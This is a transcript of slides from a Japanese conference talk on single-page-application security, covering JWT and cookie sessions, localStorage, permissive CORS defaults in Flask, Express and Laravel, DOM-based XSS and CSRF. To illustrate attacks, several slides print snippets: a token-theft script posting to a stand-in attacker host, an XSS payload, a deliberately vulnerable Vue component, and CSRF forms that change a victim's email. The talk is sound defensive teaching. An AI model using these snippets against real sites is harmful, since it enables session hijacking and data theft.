More Related Content
Similar to SPAセキュリティ入門~PHP Conference Japan 2021 (20)
More from Hiroshi Tokumaru (20)
SPAセキュリティ入門~PHP Conference Japan 2021
- 2. 徳丸浩の自己紹介
• 経歴
– 1985年 京セラ株式会社入社
– 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍
– 2008年 KCCS退職、HASHコンサルティング株式会社(現社名:EGセキュアソリューションズ株式会社)設立
• 経験したこと
– 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当
– その後、企業向けパッケージソフトの企画・開発・事業化を担当
– 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当
Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始
– 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ
• 現在
– EGセキュアソリューションズ株式会社取締役CTO https://www.eg-secure.co.jp/
– 独立行政法人情報処理推進機構 非常勤研究員 https://www.ipa.go.jp/security/
– 著書「体系的に学ぶ 安全なWebアプリケーションの作り方(第2版)」(2018年6月)
– YouTubeチャンネル「徳丸浩のウェブセキュリティ講座」
https://j.mp/web-sec-study
– 技術士(情報工学部門)
© 2021 Hiroshi Tokumaru 2
- 3. 本日お話したいこと
• SPA(Single Page Application)のセキュリティの基礎
• JWT(JSON Web Token)をセッション管理に用いることの是非
• CookieとlocalStorageの比較に対する論争について
• CORSを甘く見てはいけない
• どうすればよいか
3
© 2021 Hiroshi Tokumaru
- 4. 前提知識の復習
• JWT : 後で説明します
• Cookie
– サーバーの指示でブラウザに保存されるデータ
– アクセスの度にクッキーがサーバーに送信される
• localStorage
– JavaScript操作でブラウザに保存(set)され、参照(get)、削除(remove)できる
– シンプルなキー・バリュー・ストレージでサーバーに自動送信されない
– アクセスの範囲は同一オリジン、消さない限り残り続ける
• ステートレス・トークン
– サーバーに問い合わせなくても通行可能な切符(のようなもの)
• ステートフル・トークン
– 都度サーバーに問い合わせて通行可能か判断する切符(のようなもの)
© 2021 Hiroshi Tokumaru 4
- 6. HTML5のLocal Storageを使ってはいけない(翻訳)
本気で申し上げます。local storageを使わないでください。
local storageにセッション情報を保存する開発者がこれほど多い理由について、私に
はさっぱり見当がつきません。しかしどんな理由であれ、その手法は地上から消え
てなくなってもらう必要がありますが、明らかに手に負えなくなりつつあります。
私は毎日のように、重要なユーザー情報をlocal storageに保存するWebサイトを新た
に開いては頭を抱え、それをやらかして致命的なセキュリティ問題への扉を開いて
しまう開発者がいかに多いかを思い知ってつらい気持ちになっています。
それでは、local storageとは何か、そしてlocal storageにセッションデータを保存し
てはならない理由について、私の魂の奥底の叫びをお伝えしたいと思います。
6
https://techracho.bpsinc.jp/hachi8833/2019_10_09/80851
- 7. おーい磯野ー,Local StorageにJWT保存しようぜ!
ある日,HTML5のLocal Storageを使ってはいけない がバズっていた.
この記事でテーマになっていることの1つに「Local StorageにJWTを保存してはいけ
ない」というのがある.
しかし,いろいろ考えた結果「そうでもないんじゃないか」という仮定に至ったの
でここに残しておく.
【中略】
一見すると,これはLocal Storageを使う場合に発生する懸念事項をクリアしている
ように見えた.
しかしよく考えると,攻撃者にとって真に重要なのは認証トークンでは無く,認証
トークンを使って何をするか,ということのはずだ.
このことについては,Why HttpOnly Won't Protect Youでも述べられている.
7
https://scrapbox.io/musou1500/%E3%81%8A%E3%83%BC%E3%81%84%E7%A3%AF%E9%87%8E%E3%83%
BC%EF%BC%8CLocal_Storage%E3%81%ABJWT%E4%BF%9D%E5%AD%98%E3%81%97%E3%82%88%E3
%81%86%E3%81%9C%EF%BC%81
- 9. JWT認証、便利やん?
どうして JWT をセッションに使っちゃうわけ? - co3k.org に対して思うことを書く。
(ステートレスな) JWT をセッションに使うことは、セッション ID を用いる伝統的なセッション機
構に比べて、あらゆるセキュリティ上のリスクを負うことになります。
と大口叩いておいて、それに続く理由がほとんどお粗末な運用によるものなのはどうなのか。最後に、
でもそこまでしてステートレスに JWT を使わなくてはいけないか?
とまで行っていますが、JWT認証のメリットはその実装のシンプルさとステートレスなことにありま
す。現実的には実際はDB参照とか必要になったりするんですが、ほとんど改ざん検証だけで済むのは
魅力的です。トレードオフでリアルタイムでユーザー無効化ができないことくらいですかね。ライブ
ラリなんて使う必要ないほどシンプルだし、トレードオフさえ許容できればむしろ、なぜこれ以上に
複雑な認証システム使わないといけないの?複雑さゆえにライブラリが必要になったり、そのライブ
ラリが脆弱性を抱えていたり、そもそも使い方を間違えてしまったりするんでしょう。
9
https://auth0.hatenablog.com/entry/2018/09/21/004131
- 12. SPA(Single Page Application)の構造
© 2021 Hiroshi Tokumaru 12
SPA
ページ遷移をしないのでJavaScriptの
変数は保持される。
ただし、ページ遷移、戻る、リロー
ドで変数の値はリセットされる
→ セッション管理あるいは
localStorageによりデータを引き継ぐ
HTML JSON
Webサーバー APIサーバー
処理
コンテンツ
配信
XHR/
Fetch
- 14. SPAのサーバー構成
© 2021 Hiroshi Tokumaru 14
Webサーバー
https://www.example.com
APIサーバー
https://api.example.com
認証サーバー
https://auth.example.com
HTML
JSON
JWT 等
Web、API、認証の各サーバー
は、まとめることもあれば、
更に分離する場合もある
SPA
- 16. この項で説明すること
• JavaScript で複数サーバをまたがって 通信する(XMLHttpRequestや
Fetch API)場合には CORS(Cross-Origin Resource Sharing) の理解が不
可欠です
• しかし、最近は「CORSはフレームワークにまかせておけば大丈夫」
という風潮があるようです
• フレームワーク任せのCORS対応では、大きな落とし穴があることを
説明します
© 2021 Hiroshi Tokumaru 16
- 17. CORSがなかった時代は同一オリジンのみ通信できた
© 2021 Hiroshi Tokumaru 17
Webサーバー
https://www.example.com
HTML
<div>xxx</div>
<script> … </script>
JSON
{ "id": 123 }
var req = new XMLHttpRequest();
req.open("GET", "/api");
IE7
e
同一オリジンとは、
スキーム(https)
ホスト(www.example.com)
ポート(443)
がすべて同一である状態
- 18. CORSがなかった頃のセキュリティ保護=同一オリジンポリシー
© 2021 Hiroshi Tokumaru 18
Webサーバー
https://www.example.com
CORSがないと、このリクエストは
エラーになっていた = 安全だが不便
罠サイト
https://evil.example.org
var req = new XMLHttpRequest()
req.open("GET", "https://www.example.com/api")
HTML
IE7
IE7
e
- 19. CORSによるセキュリティ保護(現在のブラウザ)
© 2021 Hiroshi Tokumaru 19
Webサーバー 兼 APIサーバー
https://www.example.com
HTML
クッキーは飛びレスポンスも返るが、
上の2行が返されないと、
レスポンスは受け取れない
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("GET", "https://www.example.com/api")
req.withCredentials = true
Error: CORSヘッダがない
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://evil.example.org
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
Google Chrome
- 22. Flask (Python用軽量フレームワーク)
© 2021 Hiroshi Tokumaru 22
from flask import Flask, session, jsonify
from flask_cors import CORS # 便利なパッケージを導入
app = Flask(__name__)
CORS(app, supports_credentials=True)
# ...
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Allow: GET, HEAD, OPTIONS
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: x-evil
Access-Control-Allow-Methods: DELETE, GET,
HEAD, OPTIONS, PATCH, POST, PUT
Vary: Origin
Content-Length: 0
Server: Werkzeug/2.0.1 Python/3.9.5
Date: Wed, 29 Sep 2021 07:30:57 GMT
Access-Control-Allow-Origin: https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: x-evil
Access-Control-Allow-Methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
- 23. Express (JavaScript用軽量かつ人気のフレームワーク)
© 2021 Hiroshi Tokumaru 23
const express = require('express')
const cors = require('cors') // 便利なパッケージ
const app = express()
app.use(cors({ origin: true, credentials: true }))
// ...
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.1 204 No Content
X-Powered-By: Express
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods:
GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: x-evil
Content-Length: 0
Date: Wed, 29 Sep 2021 07:55:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Access-Control-Allow-Origin: https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
Access-Control-Allow-Headers: x-evil
- 24. われらが Laravel はどうか?
$ composer create-project laravel/laravel .
… 略
$ cat config/cors.php # Laravel 7 以降、laravel-corsが自動的にインストールされる
<?php
return [
/* 省略 */
'paths' => ['api/*', 'sanctum/csrf-cookie'],
'allowed_methods' => ['*'],
'allowed_origins' => ['*'],
'allowed_origins_patterns' => [],
'allowed_headers' => ['*'],
'exposed_headers' => [],
'max_age' => 0,
'supports_credentials' => false, // デフォルトでは Cookie は送信されない
];
© 2021 Hiroshi Tokumaru 24
- 25. Laravel
© 2021 Hiroshi Tokumaru 25
$ cat config/cors.php
...
'supports_credentials' => false,
];
OPTIONS /api/index HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 204 No Content
Host: www.example.com
Date: Wed, 29 Sep 2021 08:14:51 GMT
X-Powered-By: PHP/8.0.8
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
Access-Control-Max-Age: 0
Content-type: text/html; charset=UTF-8
Vary: Access-Control-Request-Method,
Access-Control-Request-Headers
Connection: close
Date: Wed, 29 Sep 2021 08:14:51 GMT
Cache-Control: no-cache, private
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
- 26. Laravel
© 2021 Hiroshi Tokumaru 26
$ cat config/cors.php
...
'supports_credentials' => true, // クッキーも使いたいよねー
];
OPTIONS / HTTP/1.1
User-Agent: Mozilla/5.0
Accept: */*
Origin: https://evil.example.com
Host: www.example.com
Access-Control-Request-Method: DELETE
Access-Control-Request-Headers: x-evil
Referer: https://evil.example.com/
HTTP/1.0 204 No Content
Host: www.example.com
Date: Wed, 29 Sep 2021 08:25:52 GMT
X-Powered-By: PHP/8.0.8
Access-Control-Allow-Origin:
https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
Access-Control-Max-Age: 0
Content-type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache, private
Date: Wed, 29 Sep 2021 08:25:52 GMT
Vary: Origin, Access-Control-Request-Method,
Access-Control-Request-Headers
Access-Control-Allow-Origin: https://evil.example.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: DELETE
Access-Control-Allow-Headers: x-evil
- 27. フレームワークの現状について
• 各フレームワークにてCORSに簡単に対応できるパッケージ / プラグイ
ンが用意されている
• 細かく設定しなくても、デフォルトで「なんでもあり」という設定に
なっている場合がある
• クッキーによるセッション管理を行っている場合、CORSの設定不備
でXSS脆弱性等がなくてもなりすましができてしまう
• HTTPリクエストヘッダにトークンをつけている場合は、CORS設定不
備があってもなりすましはされない
– リクエストヘッダはJavaScriptにより設定するので、同一オリジンポリシーによ
り保護される
© 2021 Hiroshi Tokumaru 27
- 29. ヘッダにトークンを付与する場合はCORS不備の影響は少ない
© 2021 Hiroshi Tokumaru 29
Webサーバー 兼 APIサーバー
https://www.example.com
Authorization ヘッダをつけたくて
も、罠サイトにはトークンが保存
されていないのでつけられない
→ CORS的にはヘッダのほうが安全
罠サイト
https://evil.example.org
token eyJXXXXXXXXX
https://www.example.com
別オリジンの
localStorageには
アクセス不可
const token = localStorage.getItem('token')
- 32. Firebaseを用いたSPAのサーバー構成
© 2021 Hiroshi Tokumaru 32
Webサーバー(Firebase Hosting)
https://www.example.com
APIサーバー
https://firestore.googleapis.com
認証サーバー
https://identitytoolkit.googleapis.com
HTML
画像
CSS
JavaScript
JSON
JWT 等
SPA
- 36. ログイン処理のHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 1372
Access-Control-Allow-Origin: https://www.example.com
{
"kind": "identitytoolkit#VerifyPasswordResponse",
"localId": "MhdJidRysBNPdHQ1zHIIaGE363y2",
"email": "alice@example.jp",
"displayName": "",
"idToken": "eyJhbGciOiJSUzI1NiIs … AJfEzAxQ3PS90A",
"registered": true,
"refreshToken": "ACzBnCjMDis3mBBLVijV … 6AaswVqvc5Z0E4AkX3FA",
"expiresIn": "3600"
}
© 2021 Hiroshi Tokumaru 36
これがJWT(IDトークン)
リフレッシュトークン(後述)
このリクエストの前にプリフライト
リクエストが飛ぶが自動的に許可さ
れている
- 51. コンテンツ取得のHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 513
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{
"documents": [
{
"name": "projects/firebbs-31a11/databases/(default)/documents/articles/XnVM…",
"fields": {
"uid": {
"stringValue": "MhdJidRysBNPdHQ1zHIIaGE363y2"
},
"comment": {
"stringValue": "PHPカンファレンス2021にようこそ"
},
© 2021 Hiroshi Tokumaru 51
- 55. 有効期限が切れたJWTでアクセスすると401になる
HTTP/1.1 401 Unauthorized
Content-Type: application/json; charset=UTF-8
Content-Length: 123
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{
"error": {
"code": 401,
"message": "Missing or invalid authentication.",
"status": "UNAUTHENTICATED"
}
}
© 2021 Hiroshi Tokumaru 55
- 56. トークンリフレッシュのPOSTリクエスト(要旨)
POST /v1/token?key=AIzaSyBPXXXXXXXXXXXXXXXXXXXXm2LAjks HTTP/1.1
Host: securetoken.googleapis.com
Content-Type: application/json
User-Agent: Mozilla
Origin: https://www.example.com
Content-Length: 292
{
"grant_type":"refresh_token",
"refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx7O_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX_Gr94uHC5S_NEOHkDh
3w"
}
© 2021 Hiroshi Tokumaru 56
リフレッシュ要求の入力
値としてリフレッシュ
トークンを指定
- 57. トークンリフレッシュのHTTPレスポンス(要旨)
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Content-Length: 2239
Access-Control-Allow-Origin: https://www.example.com
{
"access_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ",
"expires_in": "3600",
"token_type": "Bearer",
"refresh_token": "ACzBnCibMLE1kPvrJhAuEaflqPx … b7PFkTmz_Gr94uHC5S_NEOHkDh3w",
"id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij … DsMx6qV7alcLeOVjQ",
"user_id": "MhdJidRysBNPdHQ1zHIIaGE363y2",
"project_id": "592373516447"
}
© 2021 Hiroshi Tokumaru 57
リフレッシュされたID
トークンは、今後1時間
有効になる
- 58. ユーザー セッションの管理
Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー
認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お
よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと
なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次
のいずれかが発生した場合にのみ有効期限が切れます。
• ユーザーが削除された
• ユーザーが無効にされた
• ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など)
Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、
ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ
ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限
を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能
があります。
58
https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用
- 59. ユーザー セッションの管理
Firebase Authentication セッションは長期間有効です。ユーザーがログインするたびに、ユーザー
認証情報が Firebase Authentication のバックエンドに送信され、Firebase ID トークン(JWT)お
よび更新トークンと交換されます。Firebase ID トークンの有効期間は短く、1 時間で期限切れと
なります。新しい ID トークンは、更新トークンを使用して取得できます。 更新トークンは、次
のいずれかが発生した場合にのみ有効期限が切れます。
• ユーザーが削除された
• ユーザーが無効にされた
• ユーザーのアカウントで大きな変更が検出された(パスワードやメールアドレスの更新など)
Firebase Admin SDK には、指定したユーザーの更新トークンを取り消す機能があります。さらに、
ID トークンの取り消しを確認する API も使用できます。これらの機能により、ユーザー セッショ
ンをより細かく制御できます。SDK には、疑わしい状況でセッションが使用されないように制限
を加えたり、起こり得るトークンの盗難から復旧させるためのメカニズムを追加したりする機能
があります。
59
https://firebase.google.com/docs/auth/admin/manage-sessions?hl=ja より引用
- 63. パスワードを変更したら、各トークンはどうなる?
• Firebase Authentication REST APIの場合、パスワード変更後
– IDトークンは有効期限内は有効のまま
– リフレッシュトークンは直ちに無効化される
– パスワード変更後最長1時間はセッション乗っ取りされ続ける
• IDトークンはステートレス(サーバーに確認しない)、リフレッシュ
トークンはステートフルなので自然な結果
• Firebase Authenticationの言語毎に用意されたSDKの場合は即時ログア
ウトを含め細かい制御ができる
© 2021 Hiroshi Tokumaru 63
- 70. ログイン処理の例
public function login(Request $request)
{
$credentials = $request->validate([ // クレデンシャルの取得とバリデーション
'email' => 'required|email',
'password' => 'required'
]);
if (Auth::attempt($credentials)) {
$user = $request->user();
// $user->tokens()->delete(); // これを有効にすると既存のセッションがログアウトする
$token = $user->createToken("login:user{$user->id}")->plainTextToken;
return response()->json(['token' => $token], Response::HTTP_OK);
} else {
return response()->json(['status' => 'Error'], Response::HTTP_UNAUTHORIZED);
}
}
© 2021 Hiroshi Tokumaru 70
トークン生成
トークンをJSONとして返す
- 71. ログアウト処理の例
public function logout(Request $request)
{
$user = $request->user();
// $user->tokens()->delete(); // こちらだと一括ログアウトになる
$request->user()->currentAccessToken()->delete(); // 現在のトークンのみ削除
return response()->json(['status' => 'Logged out'], 200);
}
© 2021 Hiroshi Tokumaru 71
- 79. ステートレス vs ステートフル
• ステートレスなトークン
– JWT等
– 認証サーバー等に問い合わせることなく認証の確認ができる
– スケールアウトが極めて容易
– 即時ログアウトはできない
• ステートフルなトークンやセッションID
– PHPのデフォルトセッション(PHPSESSID)やSanctumのトークン
– セッションの中身はファイル(PHP)やデータベース、REDIS等にある
– スケールアウト時にはデータベース等を共有する必要がある
– セッションDBがスケールのボトルネックになりやすい
• どちらを選ぶかは、セキュリティ要件しだい
– パスワード変更後の即時ログアウトが必須要件かがよい判断材料となる
© 2021 Hiroshi Tokumaru 79
- 83. DOM Based XSSの例: AJAXのURL未検証によるXSS
<template>
<section>
<nuxt-link to="/menu/menu_a.html">A</nuxt-link>
<nuxt-link to="/menu/menu_b.html">B</nuxt-link>
<nuxt-link to="/menu/menu_c.html">C</nuxt-link>
<nuxt-link to="/menu/menu_d.html">D</nuxt-link>
<p v-html="post"></p>
</section>
</template>
<script>
export default {
data() {
return {
post: ''
}
},
async mounted() {
let url = this.$route.params.url
if (! url) url = 'menu_a.html'
const response = await this.$axios.get(url)
this.post = response.data
}
}
</script>
© 2021 Hiroshi Tokumaru 83
v-htmlはHTMLエスケー
プなしで表示する機能
メニューA<br>
<img src="/img_a.png">
menu_a.html
- 84. AJAXのURL未検証によるXSS(正常系)
© 2021 Hiroshi Tokumaru 84
Webサーバー
https://www.example.com/menu/menu_a.html
Content-Type: text/html
メニューA<br>
<img src="/img_a.png">
コンテンツをAJAXで要求して、
返ったHTMLを v-html でそのまま
(エスケープ無しで)表示する
let url = this.$route.params.url
const response = await this.$axios.get(url)
GET /menu_a.html
<p v-html="post"></p>
- 85. AJAXのURL未検証によるXSS(攻撃)
© 2021 Hiroshi Tokumaru 85
攻撃用サイト
https://evil.example.org/
Webサーバー
https://www.example.com/menu/%2F%2Fevil.example.org
Access-Control-Allow-Origin: *
<img src=0 onerror=alert('XSS')
let url = this.$route.params.url
const response = await this.$axios.get(url)
GET /
<p v-html="post"></p>
//evil.example.com
- 86. AJAXのURL未検証によるXSS(攻撃)
© 2021 Hiroshi Tokumaru 86
攻撃用サイト
https://evil.example.org/
攻撃用サイトにてCORS設定できるので、
CORS制約をくぐり抜けて攻撃が成立
Webサーバー
https://www.example.com/menu/%2F%2Fevil.example.org
Access-Control-Allow-Origin: *
<img src=0 onerror=alert('XSS')
let url = this.$route.params.url
const response = await this.$axios.get(url)
GET /
<p v-html="post"></p>
//evil.example.com
www.example.comの内容
OK
XSS
- 88. WebサーバーにXSS脆弱性がある場合(localStorage)
© 2021 Hiroshi Tokumaru 88
HTML
localStorageに保存されたトークンを
盗み別のサイトに送信する
最も簡単なXSS攻撃となる
const token = localStorage.getItem('token')
const req = new XMLHttpRequest()
req.open("POST", "https://evil.example.org/")
req.send(token)
Google Chrome
Webサーバー
https://www.example.com
token eyJXXXXXXXXX
https://www.example.com
POST / HTTP/1.1
eyJXXXXXXXXXXXXXX
情報収集サイト
https://evil.example.org
- 89. WebサーバーにXSS脆弱性がある場合(Cookieによるセッション)
© 2021 Hiroshi Tokumaru 89
APIサーバー
https://api.example.com
HTML
正規のWebサーバーからのリクエス
トなのでCORS設定は許可されており、
あらゆるAPI呼び出しが可能
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
Google Chrome
Webサーバー
https://www.example.com
const req = new XMLHttpRequest()
req.open("GET", "https://api.example.com/api")
req.withCredentials = true
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: http://www.example.org
PHPSESSID=FD8A6FE…; domain=api.example.com
- 90. APIサーバーにXSS脆弱性がある場合(localStorage使用)
© 2021 Hiroshi Tokumaru 90
APIサーバー
https://api.example.com
HTML
https://api.example.com オリジンからは
IDトークンを格納したlocalStorageには
アクセスできない
const token = localStorage.getItem('token')
Google Chrome
CookieよりもlocalStorageの方が
XSSに対して危険という記事を多く
見ますが、一概には言えません…
token eyJXXXXXXXXX
https://www.example.com
別オリジンの
localStorageには
アクセス不可
- 91. APIサーバーにXSS脆弱性がある場合(Cookieによるセッション)
© 2021 Hiroshi Tokumaru 91
APIサーバー
https://api.example.com
HTML
APIサーバーのドメインにCookieが
セットされていると、認証状態のリク
エストが飛び、レスポンスも受け取れ
る。同一オリジンなのでCORSは関係
ない
let = new XMLHttpRequest()
req.open("GET", "/api/user")
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
Google Chrome
情報収集サイト
https://evil.example.org
req.open("POST", "https://evil.example.com/")
{
"email": "alice@example.jp",
"tel": "03-1290-5678"
}
PHPSESSID=FD8A6FE…; domain=api.example.com
- 92. XSSの影響のまとめ
XSSの発生箇所 CookieにセッションID・トークン リクエストヘッダにトークン
Webサーバー 影響あり 影響あり(攻撃は容易)
APIサーバー 影響あり 影響はない*1
© 2021 Hiroshi Tokumaru 92
• CookieはHttpOnly属性がある前提
• Cookieによるセッション管理の場合XSSの発生箇所によらず影響があるのは、
Cookieがブラウザにより自動送信されるため
• 脆弱性診断ではHttpOnlyでないCookieの値をリクエストヘッダに入れる実装を
見かけるがお勧めしない
(LaravelのCSRFトークンが該当するが、許容できる特殊ケース)
(*1) ケースによっては影響がある場合があるかも
- 93. SPAのXSS脆弱性の対策
• ウェブAPIの脆弱性は、Content-Type: application/json にしておけば基
本的に問題ない
– だけど、text/htmlなAPIをしばしば見かける
• JavaScriptのXSS(DOM Based XSS)は気をつけることが多い
– エスケープしない表示に注意
• バニラJavaScript: innerHTML, outerHTML, document.write(), document.writeln()
• React: dangerouslySetInnerHTML
• Vue.js: v-html
• jQuery: html()
• evalインジェクション系
– eval(), setTimeout(), setInterval(), Functionコンストラクタ
• 詳しくは徳丸本2版 4.16.3、4.16.4、4.17.1 を参照
© 2021 Hiroshi Tokumaru 93
- 96. XHRによるCSRF攻撃の様子
© 2021 Hiroshi Tokumaru 96
APIサーバー
https://api.example.com
HTML
クッキーは飛び任意のリクエストが
送れるのでCSRF攻撃が成立する場合が
あるので、クッキーによるセッション
管理はCSRFのリスクがある
レスポンスは受け取れないが、CSRF攻
撃には支障がない
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.send('{"mail": "cracked@example.com"}');
{"mail: "cracked@example.com"}
レスポンスは受け取れない
メールアドレスが変更される
Access-Control-Allow-Credentials: trueがない
- 97. ヘッダにトークンを付与する場合はCSRF攻撃はできない
© 2021 Hiroshi Tokumaru 97
APIサーバー
https://api.example.com
HTML
Authorization ヘッダをつけられ
ないのでCSRF攻撃にならない
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/api")
req.setRequstHeader('Authorization',
'Bearer ')
???????????????
token eyJXXXXXXXXX
https://www.example.com
- 99. GETリクエストによるCSRF攻撃の様子
© 2021 Hiroshi Tokumaru 99
APIサーバー
https://api.example.com
HTML
• samesite=laxでもCookieは飛ぶので、
GETメソッドで更新ができれば攻撃
は刺さりやすい
• routerの設定が変な場合のみ脆弱と
なるが、脆弱性診断とは年に数回は
見つかる
罠サイト
https://evil.example.org
<form action="https://api.example.com/mail"
METHOD="GET">
<input name="mail" value="cracked@example.com">
<input type="submit">
</form>
GET /mail?mail=cracked@example.com
メールアドレスが変更される
- 100. HTMLフォーム(POST)によるCSRF攻撃の様子
© 2021 Hiroshi Tokumaru 100
APIサーバー
https://api.example.com
HTML
• HTMLフォームなのでCORSの制約は
受けない
• Laravelはform-urlencodedでも更新
処理を受け付ける
• samesite=lax で防御可能
罠サイト
https://evil.example.org
<form action="https://api.example.com/mail"
METHOD="POST">
<input name="mail" value="cracked@example.com">
<input type="submit">
</form>
メールアドレスが変更される
POST /mail
Content-Type: application/x-www-form-urlencoded
mail=cracked@example.com
- 101. XHRによるCSRF攻撃(Content-Type指定なし)の様子
© 2021 Hiroshi Tokumaru 101
APIサーバー
https://api.example.com
HTML
• Content-Typeを決め打ちにしている
と発生するパターン
• LaravelはContent-Typeで処理を変え
るので、このパターンでは攻撃でき
ない
• samesite=lax で防御可能
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.send('{"mail": "cracked@example.com"}');
Content-Type: text/plain
{"mail: "cracked@example.com"}
メールアドレスが変更される
- 102. XHRによるCSRF攻撃(Content-Type指定あり)の様子
© 2021 Hiroshi Tokumaru 102
APIサーバー
https://api.example.com
HTML
• 前述のようにLaravelのデフォルト設
定だとプリフライトリクエストは
通ってしまう
• CSRF攻撃はレスポンスを受け取らな
くてもよいのでAllow-Credentialsは
関係ない
• Content-Typeが正しいのでその後の
処理も通る
• samesite=lax で防御可能
罠サイト
https://evil.example.org
const req = new XMLHttpRequest()
req.open("POST", "https://api.example.com/mail")
req.withCredentials = true
req.setRequestHeader("Content-Type",
"application/json")
req.send('{"mail": "cracked@example.com"}');
OPTIONS /api HTTP/1.1
Origin: https://evil.example.org
Access-Control-Request-Headers: Content-Type
Access-Control-Request-Method: POST
HTTP/1.0 204 No Content
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Allow-Headers: Content-Type
- 104. 結局 Cookie と localStorage のどちらがよいの?
• 今まで説明したように、CookieとlocalStorageはどちらが安全とは言
えず一長一短
• 適材適所で使えば良い
• WebサーバーとAPIサーバーが一体の場合は古典的なセッションを使
うのが比較的無難
– セッション管理に由来する脆弱性は枯れていて十分対策されているため
• Sanctumトークンのようなステートフル・トークンが使えれば、セ
キュリティ要件は満たしやすい
• JWTのようなステートレス・トークンを使う場合は、そのリスクを検
討した上で、必要に応じてAPIゲートウェイ等を検討する
© 2021 Hiroshi Tokumaru 104
- 105. クロスドメインでCookieを使うのは非常に難易度が高い
• モダンなブラウザでは、samesite=none; secure をつけないとクロスド
メインのCookieをPOSTやXHRで使えない
• 過去の特定バージョンのSafariは、バグにより samesite=noneを
samesite=strictと見なす(バックポートされていない)
– Auth0は同じ値で属性のみ違う2つのCookieをセットすることで対応
• ブラウザにとってサードパーティCookieとみなされるので、ブラウザ
の制限が厳しくなる一方
• Cookieはクロスドメインで使わない方がよいと思います
© 2021 Hiroshi Tokumaru 105
Set-Cookie: did=s%3Av0%3A0b71f550-略; HttpOnly; Secure; SameSite=None
Set-Cookie: did_compat=s%3Av0%3A0b71f550-略; HttpOnly; Secure